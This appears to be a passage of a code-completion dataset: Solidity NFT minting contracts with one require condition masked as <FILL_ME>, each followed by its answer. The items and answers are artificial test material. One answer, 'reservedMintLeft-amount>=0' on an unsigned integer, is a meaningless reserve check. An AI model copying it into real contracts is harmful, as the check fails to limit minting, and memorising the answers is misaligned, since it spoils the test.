}
///@dev Overrides for DefaultOperatorRegistry
function setApprovalForAll(address operator, bool approved) public override(ERC721) {
}
function approve(address operator, uint256 tokenId) public override(ERC721) {
}
function transferFrom(address from, address to, uint256 tokenId) public override(ERC721) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override(ERC721) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override(ERC721)
{
}
}
| MerkleProof.verify(proof,root,leaf),"BGBB: Invalid proof" | 69,478 | MerkleProof.verify(proof,root,leaf) |
"BGBB: Max available public supply minted" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/// @title Burn Ghost Bounty Box
/// @notice This is Burn Ghost's Bounty Box ERC721 NFT contract
/// @dev This contract uses OpenZeppelin's library and includes OpenSea's on-chain enforcement tool for royalties
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract BurnGhostBountyBox is ERC721, Ownable {
/// @notice The base uri of the project
string public baseURI;
/// @notice The collection's max supply
uint256 public maxSupply = 1000;
/// @notice Total reserved by the Burn Ghost team
uint256 public reserved;
/// @notice Total guaranteed mint count
uint256 public guaranteed;
/// @dev Merkle tree root hash for guaranteed list
bytes32 private rootForGuaranteed;
/// @dev Merkle tree root hash for allowed list
bytes32 private rootForOversubscribed;
/// @dev Mapping to check if an address has already minted to avoid double mints on allow list mints
mapping(address => bool) mintedOnGuaranteed;
mapping(address => bool) mintedOnOversubscribed;
/// @dev Counters library to track token id and counts
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
Counters.Counter private _guaranteedAllowListMintedCounter;
Counters.Counter private _oversubscribedAllowListMintedCounter;
/// @dev Different states of minting
enum MintState {
PAUSED, // Minting is paused
GUARANTEED, // Guaranteed allow list
OVERSUBSCRIBED, // General allow list
PUBLIC, // Open to public
REVEALED
}
MintState public mintState;
/// @notice Event emitted when a bounty box is burnt/redeemed
event BountyBoxRedeemed(address indexed ownerAddress, uint256 indexed tokenId);
/// @notice Event emitted when a bounty box is burnt/redeemed
event BountyBoxBatchRedeemed(address indexed ownerAddress, uint256 indexed redeemedCount, uint256[] tokenId);
constructor(string memory uri) ERC721("Burn Ghost Bounty Box", "BGBB") {
}
/// Base uri functions
///@notice Returns the base uri
///@return Base uri
function _baseURI() internal view override returns (string memory) {
}
///@notice Sets a new base uri
///@dev Only callable by owner
///@param newBaseURI The new base uri
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
///@notice Returns the token uri
///@dev Updated to include json
///@param tokenId Token id
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// Minting functions
///@notice Mints box token for allowed list addresses
///@dev Uses Merkle tree proof
///@param proof The Merkle tree proof of the allow list address
function mintBox(bytes32[] calldata proof) external {
}
///@notice Mints a token to caller addresses
function publicMintBox() external {
require(mintState == MintState.PUBLIC || mintState == MintState.REVEALED, "BGBB: Public mint inactive");
/// Check balance of supply
/// Total supply minus reserved
require(<FILL_ME>)
/// Get current token id then increase it
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
/// Mint the token
_safeMint(_msgSender(), tokenId);
}
///@notice Redeem a bounty box
///@param tokenId Token id of bounty box to redeem
function redeem(uint256 tokenId) external virtual {
}
///@notice Redeem a batch of bounty boxes
///@param tokenIds Token ids of bounty box to redeem
function batchRedeem(uint256[] memory tokenIds) external virtual {
}
///@notice Mint from reserve supply
///@dev Only callable by owner
///@param to Array of addresses to receive airdrop
function mintFromReserve(address[] calldata to) external onlyOwner {
}
///@notice Airdrops a token to users from the remaining supply (without reserved supply)
///@dev Only callable by owner
///@param to Array of addresses to receive airdrop
function airdrop(address[] calldata to) external onlyOwner {
}
/// Other view and admin functions
/// Verification functions
///@notice Returns the current Merkle tree root hash based on a given state
///@dev Only callable by owner
///@param _mintState The state of the mint to query the root hash for
function getRootHash(MintState _mintState) external view onlyOwner returns(bytes32) {
}
///@notice Sets a new Merkle tree root hash
///@dev Only callable by owner
///@param _root The new merkle tree root hash
///@param _mintState The state of the mint to set the root hash for
function setRootHash(bytes32 _root, MintState _mintState) external onlyOwner {
}
///@notice Returns the total number of boxes minted
function totalMinted() public view returns(uint256) {
}
///@notice Returns the current number of guaranteed allow list minted
function totalGuaranteedAllowListMinted() public view returns(uint256) {
}
///@notice Returns the current number of oversubscribed allow list minted
function totalOversubscribedAllowListMinted() public view returns(uint256) {
}
///@notice Returns the total allow list minted
function totalAllowListMinted() public view returns(uint256) {
}
///@notice Function to update the reveal flag
///@param newState The new mint state to set
function setMintState(MintState newState) external onlyOwner{
}
///@notice Function to update guaranteed mint count
///@param count New guaranteed mint count
function setGuaranteedCount(uint256 count) external onlyOwner {
}
///@notice Function to update reserved mint count
///@param count New reserved mint count
function setReservedCount(uint256 count) external onlyOwner {
}
///@dev Overrides for DefaultOperatorRegistry
function setApprovalForAll(address operator, bool approved) public override(ERC721) {
}
function approve(address operator, uint256 tokenId) public override(ERC721) {
}
function transferFrom(address from, address to, uint256 tokenId) public override(ERC721) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override(ERC721) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override(ERC721)
{
}
}
| _tokenIdCounter.current()<maxSupply-reserved,"BGBB: Max available public supply minted" | 69,478 | _tokenIdCounter.current()<maxSupply-reserved |
"BGBB: Token owner and id mismatch found in list" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/// @title Burn Ghost Bounty Box
/// @notice This is Burn Ghost's Bounty Box ERC721 NFT contract
/// @dev This contract uses OpenZeppelin's library and includes OpenSea's on-chain enforcement tool for royalties
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract BurnGhostBountyBox is ERC721, Ownable {
/// @notice The base uri of the project
string public baseURI;
/// @notice The collection's max supply
uint256 public maxSupply = 1000;
/// @notice Total reserved by the Burn Ghost team
uint256 public reserved;
/// @notice Total guaranteed mint count
uint256 public guaranteed;
/// @dev Merkle tree root hash for guaranteed list
bytes32 private rootForGuaranteed;
/// @dev Merkle tree root hash for allowed list
bytes32 private rootForOversubscribed;
/// @dev Mapping to check if an address has already minted to avoid double mints on allow list mints
mapping(address => bool) mintedOnGuaranteed;
mapping(address => bool) mintedOnOversubscribed;
/// @dev Counters library to track token id and counts
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
Counters.Counter private _guaranteedAllowListMintedCounter;
Counters.Counter private _oversubscribedAllowListMintedCounter;
/// @dev Different states of minting
enum MintState {
PAUSED, // Minting is paused
GUARANTEED, // Guaranteed allow list
OVERSUBSCRIBED, // General allow list
PUBLIC, // Open to public
REVEALED
}
MintState public mintState;
/// @notice Event emitted when a bounty box is burnt/redeemed
event BountyBoxRedeemed(address indexed ownerAddress, uint256 indexed tokenId);
/// @notice Event emitted when a bounty box is burnt/redeemed
event BountyBoxBatchRedeemed(address indexed ownerAddress, uint256 indexed redeemedCount, uint256[] tokenId);
constructor(string memory uri) ERC721("Burn Ghost Bounty Box", "BGBB") {
}
/// Base uri functions
///@notice Returns the base uri
///@return Base uri
function _baseURI() internal view override returns (string memory) {
}
///@notice Sets a new base uri
///@dev Only callable by owner
///@param newBaseURI The new base uri
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
///@notice Returns the token uri
///@dev Updated to include json
///@param tokenId Token id
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// Minting functions
///@notice Mints box token for allowed list addresses
///@dev Uses Merkle tree proof
///@param proof The Merkle tree proof of the allow list address
function mintBox(bytes32[] calldata proof) external {
}
///@notice Mints a token to caller addresses
function publicMintBox() external {
}
///@notice Redeem a bounty box
///@param tokenId Token id of bounty box to redeem
function redeem(uint256 tokenId) external virtual {
}
///@notice Redeem a batch of bounty boxes
///@param tokenIds Token ids of bounty box to redeem
function batchRedeem(uint256[] memory tokenIds) external virtual {
require(mintState == MintState.REVEALED, "BGBB: Boxes not revealed yet");
address tokenOwner = ownerOf(tokenIds[0]);
for(uint256 i; i < tokenIds.length;) {
// If the caller is the contract owner, bypass the owner check
if (_msgSender() != owner()) {
// Ensure that all token ids belong to the same owner
require(<FILL_ME>)
}
// Burn the token
_burn(tokenIds[i]);
unchecked {
i++;
}
}
// Emit event that boxes have been redeemed
emit BountyBoxBatchRedeemed(tokenOwner, tokenIds.length, tokenIds);
}
///@notice Mint from reserve supply
///@dev Only callable by owner
///@param to Array of addresses to receive airdrop
function mintFromReserve(address[] calldata to) external onlyOwner {
}
///@notice Airdrops a token to users from the remaining supply (without reserved supply)
///@dev Only callable by owner
///@param to Array of addresses to receive airdrop
function airdrop(address[] calldata to) external onlyOwner {
}
/// Other view and admin functions
/// Verification functions
///@notice Returns the current Merkle tree root hash based on a given state
///@dev Only callable by owner
///@param _mintState The state of the mint to query the root hash for
function getRootHash(MintState _mintState) external view onlyOwner returns(bytes32) {
}
///@notice Sets a new Merkle tree root hash
///@dev Only callable by owner
///@param _root The new merkle tree root hash
///@param _mintState The state of the mint to set the root hash for
function setRootHash(bytes32 _root, MintState _mintState) external onlyOwner {
}
///@notice Returns the total number of boxes minted
function totalMinted() public view returns(uint256) {
}
///@notice Returns the current number of guaranteed allow list minted
function totalGuaranteedAllowListMinted() public view returns(uint256) {
}
///@notice Returns the current number of oversubscribed allow list minted
function totalOversubscribedAllowListMinted() public view returns(uint256) {
}
///@notice Returns the total allow list minted
function totalAllowListMinted() public view returns(uint256) {
}
///@notice Function to update the reveal flag
///@param newState The new mint state to set
function setMintState(MintState newState) external onlyOwner{
}
///@notice Function to update guaranteed mint count
///@param count New guaranteed mint count
function setGuaranteedCount(uint256 count) external onlyOwner {
}
///@notice Function to update reserved mint count
///@param count New reserved mint count
function setReservedCount(uint256 count) external onlyOwner {
}
///@dev Overrides for DefaultOperatorRegistry
function setApprovalForAll(address operator, bool approved) public override(ERC721) {
}
function approve(address operator, uint256 tokenId) public override(ERC721) {
}
function transferFrom(address from, address to, uint256 tokenId) public override(ERC721) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override(ERC721) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override(ERC721)
{
}
}
| ownerOf(tokenIds[i])==_msgSender(),"BGBB: Token owner and id mismatch found in list" | 69,478 | ownerOf(tokenIds[i])==_msgSender() |
"BGBB: Airdrop amount exceeds maximum supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/// @title Burn Ghost Bounty Box
/// @notice This is Burn Ghost's Bounty Box ERC721 NFT contract
/// @dev This contract uses OpenZeppelin's library and includes OpenSea's on-chain enforcement tool for royalties
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract BurnGhostBountyBox is ERC721, Ownable {
/// @notice The base uri of the project
string public baseURI;
/// @notice The collection's max supply
uint256 public maxSupply = 1000;
/// @notice Total reserved by the Burn Ghost team
uint256 public reserved;
/// @notice Total guaranteed mint count
uint256 public guaranteed;
/// @dev Merkle tree root hash for guaranteed list
bytes32 private rootForGuaranteed;
/// @dev Merkle tree root hash for allowed list
bytes32 private rootForOversubscribed;
/// @dev Mapping to check if an address has already minted to avoid double mints on allow list mints
mapping(address => bool) mintedOnGuaranteed;
mapping(address => bool) mintedOnOversubscribed;
/// @dev Counters library to track token id and counts
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
Counters.Counter private _guaranteedAllowListMintedCounter;
Counters.Counter private _oversubscribedAllowListMintedCounter;
/// @dev Different states of minting
enum MintState {
PAUSED, // Minting is paused
GUARANTEED, // Guaranteed allow list
OVERSUBSCRIBED, // General allow list
PUBLIC, // Open to public
REVEALED
}
MintState public mintState;
/// @notice Event emitted when a bounty box is burnt/redeemed
event BountyBoxRedeemed(address indexed ownerAddress, uint256 indexed tokenId);
/// @notice Event emitted when a bounty box is burnt/redeemed
event BountyBoxBatchRedeemed(address indexed ownerAddress, uint256 indexed redeemedCount, uint256[] tokenId);
constructor(string memory uri) ERC721("Burn Ghost Bounty Box", "BGBB") {
}
/// Base uri functions
///@notice Returns the base uri
///@return Base uri
function _baseURI() internal view override returns (string memory) {
}
///@notice Sets a new base uri
///@dev Only callable by owner
///@param newBaseURI The new base uri
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
///@notice Returns the token uri
///@dev Updated to include json
///@param tokenId Token id
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// Minting functions
///@notice Mints box token for allowed list addresses
///@dev Uses Merkle tree proof
///@param proof The Merkle tree proof of the allow list address
function mintBox(bytes32[] calldata proof) external {
}
///@notice Mints a token to caller addresses
function publicMintBox() external {
}
///@notice Redeem a bounty box
///@param tokenId Token id of bounty box to redeem
function redeem(uint256 tokenId) external virtual {
}
///@notice Redeem a batch of bounty boxes
///@param tokenIds Token ids of bounty box to redeem
function batchRedeem(uint256[] memory tokenIds) external virtual {
}
///@notice Mint from reserve supply
///@dev Only callable by owner
///@param to Array of addresses to receive airdrop
function mintFromReserve(address[] calldata to) external onlyOwner {
}
///@notice Airdrops a token to users from the remaining supply (without reserved supply)
///@dev Only callable by owner
///@param to Array of addresses to receive airdrop
function airdrop(address[] calldata to) external onlyOwner {
/// Check balance of supply
require(<FILL_ME>)
for(uint i; i < to.length;) {
/// Get current token id then increase it
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
/// Mint the token
_safeMint(to[i], tokenId);
/// Unchecked i to save gas
unchecked {
i++;
}
}
}
/// Other view and admin functions
/// Verification functions
///@notice Returns the current Merkle tree root hash based on a given state
///@dev Only callable by owner
///@param _mintState The state of the mint to query the root hash for
function getRootHash(MintState _mintState) external view onlyOwner returns(bytes32) {
}
///@notice Sets a new Merkle tree root hash
///@dev Only callable by owner
///@param _root The new merkle tree root hash
///@param _mintState The state of the mint to set the root hash for
function setRootHash(bytes32 _root, MintState _mintState) external onlyOwner {
}
///@notice Returns the total number of boxes minted
function totalMinted() public view returns(uint256) {
}
///@notice Returns the current number of guaranteed allow list minted
function totalGuaranteedAllowListMinted() public view returns(uint256) {
}
///@notice Returns the current number of oversubscribed allow list minted
function totalOversubscribedAllowListMinted() public view returns(uint256) {
}
///@notice Returns the total allow list minted
function totalAllowListMinted() public view returns(uint256) {
}
///@notice Function to update the reveal flag
///@param newState The new mint state to set
function setMintState(MintState newState) external onlyOwner{
}
///@notice Function to update guaranteed mint count
///@param count New guaranteed mint count
function setGuaranteedCount(uint256 count) external onlyOwner {
}
///@notice Function to update reserved mint count
///@param count New reserved mint count
function setReservedCount(uint256 count) external onlyOwner {
}
///@dev Overrides for DefaultOperatorRegistry
function setApprovalForAll(address operator, bool approved) public override(ERC721) {
}
function approve(address operator, uint256 tokenId) public override(ERC721) {
}
function transferFrom(address from, address to, uint256 tokenId) public override(ERC721) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override(ERC721) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override(ERC721)
{
}
}
| _tokenIdCounter.current()+to.length<=maxSupply-reserved,"BGBB: Airdrop amount exceeds maximum supply" | 69,478 | _tokenIdCounter.current()+to.length<=maxSupply-reserved |
"Mint amount exceeds allowed" | // SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.8.14;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract WorldOfPumpKins is ERC721, Ownable {
using Strings for uint256;
string baseExtension = ".json";
string public baseUri;
string hiddenUri;
uint256 public totalSupply = 8888;
uint256 public supply;
uint256 public mintCost = 0.02 ether;
uint256 public presaleMintCost = 0.01 ether;
uint256 public reservedMintLeft = 100;
bool public isPaused = true;
bool public isPresale = true;
bool public isRevealed;
mapping(address => bool) public hasMintedOnPresale;
modifier isNotPaused() {
}
constructor(
string memory name_,
string memory symbol_,
string memory _hiddenUri
) ERC721(name_, symbol_) {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
// public
function mint(uint256 amount) public payable isNotPaused {
require(<FILL_ME>)
if (isPresale) {
require(
!hasMintedOnPresale[msg.sender],
"Already minted during presale"
);
require(amount <= 5, "Amount exceeds mint limit");
require(
msg.value == presaleMintCost * amount,
"Wrong transaction value"
);
hasMintedOnPresale[msg.sender] = true;
} else {
require(msg.value == mintCost * amount, "Wrong transaction value");
require(amount <= 10, "Amount exceeds mint limit");
}
for (uint256 i = 0; i < amount; i++) {
supply++;
_mint(msg.sender, supply);
}
}
//admin
function adminMint(uint256 amount) public onlyOwner {
}
function changePause() public onlyOwner {
}
function endPresale() public onlyOwner {
}
function reveal(string memory uri) public onlyOwner {
}
function withdraw(address payable to, uint256 amount) public onlyOwner {
}
}
| amount+supply<=totalSupply-reservedMintLeft,"Mint amount exceeds allowed" | 69,575 | amount+supply<=totalSupply-reservedMintLeft |
"Already minted during presale" | // SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.8.14;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract WorldOfPumpKins is ERC721, Ownable {
using Strings for uint256;
string baseExtension = ".json";
string public baseUri;
string hiddenUri;
uint256 public totalSupply = 8888;
uint256 public supply;
uint256 public mintCost = 0.02 ether;
uint256 public presaleMintCost = 0.01 ether;
uint256 public reservedMintLeft = 100;
bool public isPaused = true;
bool public isPresale = true;
bool public isRevealed;
mapping(address => bool) public hasMintedOnPresale;
modifier isNotPaused() {
}
constructor(
string memory name_,
string memory symbol_,
string memory _hiddenUri
) ERC721(name_, symbol_) {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
// public
function mint(uint256 amount) public payable isNotPaused {
require(
amount + supply <= totalSupply - reservedMintLeft,
"Mint amount exceeds allowed"
);
if (isPresale) {
require(<FILL_ME>)
require(amount <= 5, "Amount exceeds mint limit");
require(
msg.value == presaleMintCost * amount,
"Wrong transaction value"
);
hasMintedOnPresale[msg.sender] = true;
} else {
require(msg.value == mintCost * amount, "Wrong transaction value");
require(amount <= 10, "Amount exceeds mint limit");
}
for (uint256 i = 0; i < amount; i++) {
supply++;
_mint(msg.sender, supply);
}
}
//admin
function adminMint(uint256 amount) public onlyOwner {
}
function changePause() public onlyOwner {
}
function endPresale() public onlyOwner {
}
function reveal(string memory uri) public onlyOwner {
}
function withdraw(address payable to, uint256 amount) public onlyOwner {
}
}
| !hasMintedOnPresale[msg.sender],"Already minted during presale" | 69,575 | !hasMintedOnPresale[msg.sender] |
"Can't mint more than 100" | // SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.8.14;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract WorldOfPumpKins is ERC721, Ownable {
using Strings for uint256;
string baseExtension = ".json";
string public baseUri;
string hiddenUri;
uint256 public totalSupply = 8888;
uint256 public supply;
uint256 public mintCost = 0.02 ether;
uint256 public presaleMintCost = 0.01 ether;
uint256 public reservedMintLeft = 100;
bool public isPaused = true;
bool public isPresale = true;
bool public isRevealed;
mapping(address => bool) public hasMintedOnPresale;
modifier isNotPaused() {
}
constructor(
string memory name_,
string memory symbol_,
string memory _hiddenUri
) ERC721(name_, symbol_) {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
// public
function mint(uint256 amount) public payable isNotPaused {
}
//admin
function adminMint(uint256 amount) public onlyOwner {
require(<FILL_ME>)
for (uint256 i = 0; i < amount; i++) {
supply++;
_mint(msg.sender, supply);
}
}
function changePause() public onlyOwner {
}
function endPresale() public onlyOwner {
}
function reveal(string memory uri) public onlyOwner {
}
function withdraw(address payable to, uint256 amount) public onlyOwner {
}
}
| reservedMintLeft-amount>=0,"Can't mint more than 100" | 69,575 | reservedMintLeft-amount>=0 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.